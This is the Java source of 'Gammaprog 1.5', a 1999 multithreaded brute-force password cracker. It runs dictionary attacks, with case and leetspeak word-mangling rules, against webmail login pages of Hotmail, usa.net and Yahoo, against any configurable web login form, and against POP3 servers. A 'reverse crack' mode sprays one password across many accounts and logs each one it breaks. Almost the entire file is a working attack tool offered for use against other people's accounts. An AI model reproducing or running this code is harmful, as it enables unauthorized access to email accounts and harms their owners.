/*
Gammaprog 1.5
An Eyewitness
aneyewitness@geocities.com
February 1999
*/

import java.io.*;
import java.net.*;

public class gammaprog implements Runnable{
  
  static RulesSet rulesSet;
  static String login;
  static String server;
  static int threadnumber = 0;
  static boolean verbose = false;
  static boolean reverseCrack = false;
  static PrintWriter log = null; // only used with reverse crack

  public static void main(String args[]){

    boolean cgi = false;
    boolean pop = false;
    boolean moreoption = false;
    char opt;
    int addrfield = 1;
    int index;
    int sockets = 10; // number of parallele socket
    int popstyle = 0; // number of attempt before disconnection (0 = infinite)
    boolean timeout = false; // use Socket.setSoTimeout()
    boolean autosave = false; // save session to autosave.txt
    PrintWriter saveWriter; 
    boolean load = false; // load saved session from autosave.txt
    BufferedReader loadReader, configReader;
    boolean rules = false; // use rules on words
    boolean caseRules = false; // use case related rules on words
    boolean benchmark = false; // perform benchmark for benchTime second
    int benchTime = 0;
    String logFile = "login.log"; // default login file for reverse cracking 
    InetAddress serverIP;
    int lineToRead = 0;
    String request;
    String searchFor;


    System.out.println("\nGammaprog 1.5\nBy An Eyewitness\n");

// Usage and option handling

    if(args.length<3){
      System.err.println("Usage: gammaprog <option> <address> <word list>\n");
      System.err.println("Option: \n -c cgi cracking mode \n -p <number> pop cracking mode. Number is the number of allowed login try before automatic disconnection from the server (0 for unlimited). \n -R do reverse cracking\n -f <file> log reversely cracked account to file rather than to \"login.log\"\n -t enable timeout on socket (for pop cracking only)\n -v verbose mode \n -s <number> set number of socket (default is 10)\n -r apply rules on words \n -C apply case related rules on words\n -b <number> perform benchmark during number of second\n -a autosave session\n -l load previously saved session\n");
      System.exit(1);
    }
    if(args[0].charAt(0)!='-'){
      System.err.println("You forgot the option field.");
      System.exit(1);
    }

    do{
      if(moreoption){
	addrfield++;
	moreoption = false;
      }
      for(int i=1;i<args[addrfield-1].length();i++){
	opt = args[addrfield-1].charAt(i);
	if(opt=='p'){
	  pop = true;
	  try{
	    addrfield++;
	    popstyle = Integer.parseInt(args[addrfield-1]);
	    moreoption=true; // to check if next args is option
	    break;
	  }
	  catch(NumberFormatException ex){
	    System.err.println(args[addrfield-1] + " is not a valid number of attempt");
	    System.exit(1);
	  }
	}
	else if(opt=='c')
	  cgi = true;
	else if(opt=='v')
	  verbose = true;
	else if(opt=='t')
	  timeout = true;
	else if(opt=='R')
	  reverseCrack = true;
	else if(opt=='a')
	  autosave = true;
	else if(opt=='l')
	  load = true;
	else if(opt=='r')
	  rules = true;
	else if(opt=='C')
	  caseRules = true;
	else if(opt=='f'){
	  addrfield++;
	  logFile = args[addrfield-1];
	  moreoption = true;
	  break;
	}
	else if(opt=='s'){
	  try{
	    addrfield++;
	    sockets = Integer.parseInt(args[addrfield-1]);
	    moreoption=true; // check if next args is option
	    break;
	  }
	  catch(NumberFormatException ex){
	    System.err.println(args[addrfield-1] + " is not a valid number of socket");
	    System.exit(1);
	  }
	}
	else if(opt=='b'){
	  try{
	    addrfield++;
	    benchTime = Integer.parseInt(args[addrfield-1]);
	    benchmark = true;
	    moreoption=true; // check if next args is option
	    break;
	  }
	  catch(NumberFormatException ex){
	    System.err.println(args[addrfield-1] + " is not a valid number of second");
	    System.exit(1);
	  }
	}
	else{
	  System.err.println(opt + " is not a valid option");
	  System.exit(1);
	}
      }
    }while(moreoption && args[addrfield].charAt(0)=='-');


    // parse login and server
    
    index = args[addrfield].indexOf('@');
    if(index==-1 || index==args[addrfield].length()-1 || (index==0 && !reverseCrack)){
      System.err.println("Are you sure " + args[addrfield] + " is a valid address?");
      System.exit(1);
    }

    login = new String(args[addrfield].substring(0, index));
    server = new String(args[addrfield].substring(index +1 , args[addrfield].length()));
    
    if(index == 0 && reverseCrack)
      login = "";

    try{ 
      if(args.length<addrfield+2){
	System.out.println("Word list file is missing");
	System.exit(1);
      }
      // open word list and set it to the right position
      rulesSet = new RulesSet(new BufferedReader(new FileReader(args[addrfield + 1])), rules, caseRules);

      if(load){ // load from previous session
	loadReader = new BufferedReader(new FileReader("autosave.txt"));
	rulesSet.setWordNumber(Integer.parseInt(loadReader.readLine()));
	loadReader.close();
      }

      if(reverseCrack)
	log = new PrintWriter(new FileOutputStream(logFile, true), true);

      if(!cgi && !pop){
	System.err.println("No cracking mode set. Option c or p must be present");
	System.exit(1);
      }
      else if(cgi && pop){
	System.err.println("Use only one cracking mode please. c or p, not both.");
	System.exit(1);
      }
      else if(cgi){

	if(server.equals("hotmail.com") || server.equals("usa.net") || server.equals("yahoo.com")){
	  for(int i=0;i<sockets;i++){
	    Thread daemon = new Thread(new gammaprog());
	    daemon.start();
	  }
	}
	else{

	  configReader = new BufferedReader(new FileReader(server));
	  server = configReader.readLine();
	  request = configReader.readLine();
	  searchFor = configReader.readLine();
	  lineToRead = Integer.parseInt(configReader.readLine());
	  configReader.close();

	  try{
	    serverIP = InetAddress.getByName(server);
	    
	    for(int i=0;i<sockets;i++){
	      Thread deamon = new Thread(new UserDeamonThread(login, request, serverIP, searchFor, lineToRead, rulesSet, verbose, log));
	      deamon.start();
	    }
	  }
	  catch(UnknownHostException ex){
	    System.err.println("Host " + ex.getMessage() + " is unknown");
	    System.exit(1);
	  }
	}
      }
      else if(pop){
	try{
	  for(int i=0;i<sockets;i++){
	    Thread thread  = new Thread(new popsocket(login, server, popstyle, verbose, timeout, reverseCrack, rulesSet, log));
	    thread.start();
	  }
	}
	catch(UnknownHostException ex){
	  System.err.println("Host " + ex.getMessage() + " is unknown");
	  System.exit(1);
	}
      }

      if(benchmark){
	try{
	  Thread.sleep(benchTime * 1000);
	}
	catch(InterruptedException ex){
	  System.err.println(ex.getMessage());
	}
	float wordNumber =  rulesSet.getWordNumber();
	System.out.println("\nNumber of word tried: " + wordNumber+ "\nNumber of second: " + benchTime + "\nAverage (words/min): " + wordNumber * 60/benchTime + "\nAverage per socket (words/min): " + wordNumber * 60/benchTime /sockets);
	System.exit(0);
      }

      if(autosave){
	while(true){ // save current word number to file every 60 sec.
	  try{
	    Thread.sleep(60000);
	  }
	  catch(InterruptedException ex){
	    System.err.println(ex.getMessage());
	  }
	  saveWriter = new PrintWriter(new FileOutputStream("autosave.txt"), true);
	  saveWriter.println(rulesSet.getWordNumber());
	  saveWriter.close();
	}
      }
    }
    catch(FileNotFoundException ex){
      System.err.println("File " + ex.getMessage()  + " was not found");
    }
    catch(IOException ex){
      ex.printStackTrace();
    }
  }    

  public gammaprog(){
    threadnumber++;
  }

  public void run(){

    String passwd = new String("");
    boolean ok = true;
    Thread thread;

    for(;;){
      try{
        if(ok)
          passwd = rulesSet.getWord();
        ok=true;
        if(passwd==null)
          break;
	if(reverseCrack){
	  if(login.equals(""))
	    thread = new Thread (new CgiSocket(passwd, server, passwd, verbose, reverseCrack, log));
	  else
	    thread = new Thread (new CgiSocket(passwd, server, login, verbose, reverseCrack, log));
	}
	else
	  thread = new Thread (new CgiSocket(login, server, passwd, verbose, reverseCrack, log));
        thread.start();
        try{
          thread.join(60000);
        }
        catch(InterruptedException ex){
          System.out.println("Thread interrupted");
        }
        if(thread.isAlive()){
          thread.stop();
          System.out.println("Thread timed out. Killing it.");
          ok=false;
        }
      }
      catch(IOException ex){
        ex.printStackTrace();
	ok = false;
      }
    }
    threadnumber--;
    if(threadnumber==0){
      if(reverseCrack)
	System.out.println("\nDone");
      else
	System.out.println("\nPassword not found");
      System.exit(0); // to kill the autosaving loop in main()
    }
  }
}

class CgiSocket implements Runnable{

  String passwd;
  String login;
  String server;
  boolean verbose;
  boolean reverseCrack;
  PrintWriter log;

  public CgiSocket(String login, String server, String passwd, boolean verbose, boolean reverseCrack, PrintWriter log){
    this.login = login;
    this.server = server;
    this.passwd = passwd;
    this.verbose= verbose;
    this.reverseCrack = reverseCrack;
    this.log = log;
  }

  public void run(){

    BufferedReader httpreader;
    PrintWriter httpwriter;
    String line = null; /* compiler doesn't like it when those are not set to null */
    String IP = null;
    Socket socket;
    String request = null; 
    boolean found = false;

    if(server.equals("hotmail.com")){
      IP = "207.82.252.251";
      request = new String("GET /cgi-bin/start?login="+ login +"&passwd="+ passwd);
    }
    else if(server.equals("usa.net")){
      IP = "204.68.24.100";
      request = new String("GET /tpl/Door/LoginPost?UserID=" + login + "&passwd=" + passwd + "&LoginState=2&DomainID=4&SuccessfulLogin=/tpl&NewServerName=netaddress.usa.net&Project=netaddress&JavaScript=JavaScript1.2&NANAsite=betasite.netaddress.com&NANAport=80");
    }
    else if(server.equals("yahoo.com")){
      IP = "204.71.200.184";
      request = new String("GET /config/login?login=" + login + "&passwd=" + passwd + " HTTP/1.0\r\nUser-Agent: Mozilla/3.04 (Win95; I)");
    }
    else{
      System.err.println(server + " doesn't support cgi mode");
      System.exit(1);
    }

    try{
    socket = new Socket(IP, 80);
    httpwriter = new PrintWriter(socket.getOutputStream(), true);
    httpreader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
    
    httpwriter.println(request + "\r\n");

    for(int i=0;i<3;i++)
      line = httpreader.readLine();

    if(line == null) //if for some reason line is null, sleep until killed
      Thread.sleep(60000); // The passwd will then be try again.

    if(server.equals("hotmail.com") && !line.equalsIgnoreCase("</head>"))
      found = true;
    else if(server.equals("usa.net") && line.charAt(line.length()-4)=='m')
      found = true;
    else if(server.equals("yahoo.com") && (line=httpreader.readLine()).charAt(0)=='L')
      found = true;
    if(verbose){
      if(reverseCrack)
	System.out.println(login + " "  + line);
      else
	System.out.println(passwd + " " + line);
    }

    if(found){
      if(!verbose){
	if(reverseCrack)
	  System.out.println(login + " " + line);
	else
	  System.out.println(passwd + " " + line);
      }
      if(reverseCrack){
	log.println(login + "@" + server + " " + passwd);
      }
      else{
	System.out.println("Password seems to be " + passwd);
	System.exit(0);
      }
    }

    socket.close();
    }
    catch(InterruptedException ex){
      System.err.println(ex.getMessage());
    }
    catch(SocketException ex){
      System.err.println(ex.getMessage());
      try{
	Thread.sleep(60000);
      }
      catch(InterruptedException ex2){
	System.err.println(ex.getMessage());
      }
    }
    catch(IOException ex){
      ex.printStackTrace();
      try{
	Thread.sleep(60000);
      }
      catch(InterruptedException ex2){
	System.err.println(ex.getMessage());
      }
    }
  }
}


class UserDeamonThread implements Runnable{

  static int threadNumber = 0;
  String request1, request2, request3;
  String login;
  RulesSet rulesSet;
  boolean verbose = false;
  boolean reverseCrack = false;
  boolean loginFirst = true;
  PrintWriter log = null;
  int lineToRead;
  String searchFor; 
  InetAddress server;

  public UserDeamonThread(String login, String request, InetAddress server, String searchFor, int lineToRead, RulesSet rulesSet, boolean verbose, PrintWriter log){


    int index, index2;
    
    index = request.indexOf("LOGIN");
    index2 = request.indexOf("PASSWD");

    if(index == -1 || index2 == -1){
      System.err.println("Error in userCgiSocket(): LOGIN or PASSWD missing");
      System.exit(1);
    }
    
    if(index < index2){
      this.request1 = request.substring(0, index);
      this.request2 = request.substring(index + 5, index2);
      this.request3 = request.substring(index2 + 6);
    }
    else{
      this.request1 = request.substring(0, index2);
      this.request2 = request.substring(index2 + 6, index);
      this.request3 = request.substring(index + 5);
      this.loginFirst = false;
    }

    threadNumber++;
    this.login = login;
    this.server = server;
    this.searchFor = searchFor;
    this.lineToRead = lineToRead;
    this.rulesSet = rulesSet;
    this.verbose = verbose;
    this.log = log;
    this.reverseCrack = (log != null);
  }

  public void run(){

    String passwd = null;
    boolean ok = true;
    Thread thread;
    String request;

    while(true){
      try{
	if(ok)
	  passwd = rulesSet.getWord();
	ok = true;
	
	if(passwd == null)
	  break;
	
	if(loginFirst){
	  if(reverseCrack){
	    if(login.equals(""))
	      request = request1 + passwd + request2 + passwd + request3;
	    else
	      request = request1 + passwd + request2 + login + request3;
	  }
	  else
	    request = request1 + login + request2 + passwd + request3;
	}
	else{
	  if(reverseCrack){
	    if(login.equals(""))
	      request = request1 + passwd + request2 + passwd + request3;
	    else
	      request = request1 + login + request2 + passwd + request3;
	  }
	  else
	    request = request1 + passwd + request2 + login + request3;
	}
	
	thread = new Thread (new UserCgiSocket(passwd, request, server, searchFor, lineToRead, verbose, log));      
	thread.start();
	
	try{
	  thread.join(60000);
	}
	catch(InterruptedException ex){
	  System.out.println("Thread interrupted");
	}
	if(thread.isAlive()){
	  thread.stop();
	  System.out.println("Thread timed out. Killing it.");
	  ok=false;
	}
      }
      catch(IOException ex){
	ex.printStackTrace();
	ok = false;
      }
    }
    threadNumber--;
    if(threadNumber==0){
      if(reverseCrack)
	System.out.println("\nDone");
      else
	System.out.println("\nPassword not found");
      System.exit(0); // to kill the autosaving loop in main()
    }
  }
}


class UserCgiSocket implements Runnable{

  String passwd;
  String request;
  InetAddress server;
  String searchFor;
  int lineToRead;
  boolean match = true;
  boolean beginsWith = true;
  boolean debug = false;
  boolean verbose = false;
  boolean reverseCrack;
  PrintWriter log = null;


  public UserCgiSocket(String passwd, String request, InetAddress server, String searchFor, int lineToRead, boolean verbose, PrintWriter log){

    int index = -1;
    
    this.passwd = passwd;
    this.request = request;
    this.server = server;

    if(searchFor.equals(""))
      debug = true;
    else{
      for(int i=0;i<3;i++){
	switch(searchFor.charAt(i)){
	case '!' :
	  match = false;
	  break;
	case ']' :
	  beginsWith = false;
	  break;
	case '[':
	  break;
	default :
	  index = i;
	}
	if(index!=-1){
	  this.searchFor = searchFor.substring(i);
	  break;
	}
      }
    }
				
    this.lineToRead = lineToRead;
    this.verbose = verbose;
    this.log = log; 
  }

  public void run(){

    Socket socket;
    BufferedReader reader;
    PrintWriter writer;
    boolean found = false;
    String reply = null; 

    try{
      socket = new Socket(server, 80);
      reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
      writer = new PrintWriter(socket.getOutputStream(), true);
      
      writer.println(request + "\r\n");

      // read reply
      for(int i=0;i<lineToRead;i++){
	if(debug)
	  System.out.println(reader.readLine());
	else
	  reply = reader.readLine();
      }
      
      // check if we really received something
      if(reply == null)
	Thread.sleep(90000);

      // echo reply if needed
      if(verbose && !debug)
	System.out.println(passwd + " " + reply);

      // check for match
      if(!debug){
	if(match){
	  if(beginsWith){
	    if(reply.startsWith(searchFor))
	      found = true;
	  }
	  else{
	    if(reply.endsWith(searchFor))
	      found = true;
	  }
	}
	else{
	  if(beginsWith){
	    if(!reply.startsWith(searchFor))
	      found = true;
	  }
	  else{
	    if(!reply.endsWith(searchFor))
	      found = true;
	  }
	}
      }
      
      // log/display found passwd
      if(found){
	if(log != null)
	  log.println(passwd + "@" + server.toString());
	else{
	  System.out.println("Password seems to be " + passwd);
	  System.exit(0);
	}
      }
	
      socket.close();
    }
    catch(InterruptedException ex){
      ex.printStackTrace();
    }
    catch(SocketException ex){
      System.err.println(ex.getMessage());
      try{
	Thread.sleep(90000);
      }
      catch(InterruptedException ex2){
	ex2.printStackTrace();
      }
    }
    catch(IOException ex){
      ex.printStackTrace();
      try{
	Thread.sleep(90000);
      }
      catch(InterruptedException ex2){
	ex2.printStackTrace();
      }
    }
  }

}


class popsocket implements Runnable{
  
  static int threadnumber = 0;
  static int cracked = 0; // for reverse crack
  String login;
  String passwd = new String("");
  String line;
  String server;
  InetAddress serverIP;
  int popstyle;
  boolean verbose;
  boolean timeout;
  boolean reverseCrack;
  boolean ok = true;
  boolean done = false;
  RulesSet rulesSet;
  PrintWriter log;

  public popsocket(String login, String server, int popstyle, boolean verbose, boolean timeout, boolean reverseCrack, RulesSet rulesSet, PrintWriter log) throws IOException{
    this.login = login;
    this.server = server;
    this.serverIP = InetAddress.getByName(server);
    this.verbose = verbose;
    this.timeout = timeout;
    this.reverseCrack = reverseCrack;
    this.rulesSet = rulesSet;
    this.log = log;

    threadnumber++;

    if(popstyle == 0 )
      this.popstyle = Integer.MAX_VALUE;
    else
      this.popstyle = popstyle;
  }

  public void run(){
    
    for(;;){
      try{
	Socket socket = new Socket(serverIP, 110);
	if(timeout)
	  socket.setSoTimeout(60000);
	BufferedReader popread = new BufferedReader(new InputStreamReader(socket.getInputStream()));
	PrintWriter popwrite = new PrintWriter(socket.getOutputStream(), true);

	popread.readLine(); // read pop greeting

	for(int i=0;i<popstyle;i++){
	  if(ok)
	    passwd = rulesSet.getWord();
	  ok=true;
	  if(passwd==null){
	    done = true;
	    break;
	  }

	  if(reverseCrack)
	    popwrite.println("user " + passwd);
	  else
	    popwrite.println("user " + login);

	  if((line = popread.readLine()) == null){
	    ok=false;
	    break;
	  }
	  if(reverseCrack && !login.equals("")) 
	    popwrite.println("pass " + login);
	  else
	    popwrite.println("pass " + passwd);
	  if((line = popread.readLine()) == null){
	    ok=false;
	    break;
	  }
	  if(verbose)
	      System.out.println(passwd + " " + line);

	  if(line.charAt(0)=='+'){
	    if(!verbose)
	      System.out.println(passwd + " " + line);
	    if(reverseCrack){
	      cracked++;
	      if(login.equals(""))
		log.println(passwd + "@" + server + " " + passwd);
	      else
		log.println(passwd + "@" + server + " " + login);
	      break; // restart the socket
	    }
	    else{
	      System.out.println("Password seems to be " + passwd);
	      System.exit(0);
	    }
	  }
	}
	popread.close();
	popwrite.close();
	socket.close();
	if(done)
	  break;
      }
      catch(InterruptedIOException ex){
	System.err.println("Socket timed out");
	ok=false;
      }
      catch(SocketException ex){
	System.err.println(ex.getMessage());
	ok = false;
      }
      catch(IOException ex){
	ex.printStackTrace();
	ok = false;
      }
    }
    threadnumber--;
    if(threadnumber==0){
      if(reverseCrack)
	System.out.println("\nDone. " + cracked + " account cracked");
      else
	System.out.println("\nPassword not found");
      System.exit(0); // to kill the autosaving loop in main()
    }
  }    
}


/*
Class to apply rules on a word list
*/
class RulesSet{

  BufferedReader reader;
  int ruleNumber = 0;
  int wordNumber = 0;// Keep tracks of the number of word returned
  boolean rules;
  boolean caseRules;
  String currentWord;

  public RulesSet(BufferedReader reader){
    this.reader = reader;
  }

  public RulesSet(BufferedReader reader, boolean rules, boolean caseRules){
    this.reader = reader;
    this.rules = rules;
    this.caseRules = caseRules;
  }

  public String getWord() throws IOException{
    
    String newWord = "";
    if( !(rules || caseRules) )
      newWord = currentWord = reader.readLine();
    else{
      do{
	switch(ruleNumber){
	case 0: // read from word list
	  newWord = currentWord = reader.readLine();
	  if(currentWord == null){
	    ruleNumber = 0; //to force the other threads to call readLine() too
	    return currentWord;
	  } 
	  if(!caseRules)
	    ruleNumber = 3; // skip the 3 first rules if case doesn't matter
	  break;
	case 1: // gammaprog
	  newWord = currentWord.toLowerCase();
	  break;
	case 2: // GAMMAPROG/
	  newWord = currentWord.toUpperCase();
	  break;
	case 3: // Gammaprog
	  newWord = currentWord.substring(0,1).toUpperCase().concat(currentWord.substring(1));
	  break;
	case 4: // gorpammag
	  newWord = "";
	  for(int i=currentWord.length()-1;i>-1;i--)
	    newWord = newWord.concat(currentWord.substring(i, i+1));
	  break;
	case 5: // g4mm4pr0g
	  newWord = "";
	  for(int i=0;i<currentWord.length();i++){
	    switch(currentWord.charAt(i)){
	    case 'a':
	    case 'A':
	      newWord = newWord.concat("4");
	      break;
	    case 'o':
	    case 'O':
	      newWord = newWord.concat("0");
	      break; 
	    case 'e':
	    case 'E':
	      newWord = newWord.concat("3");
	      break;
	    default:
	      newWord = newWord.concat(currentWord.substring(i, i+1));
	    }
	  }
	}
	ruleNumber++;
	if(ruleNumber>3 && !rules)
	  ruleNumber = 0;
	else if(ruleNumber>5)
	  ruleNumber = 0;

      }while(currentWord.equals(newWord));
    }
    wordNumber++;
    return newWord;
  }

  public int getWordNumber(){
    return wordNumber;
  }

  public void setWordNumber(int number) throws IOException{

    for(int i=0;i<number;i++)
      this.getWord();
  }
}

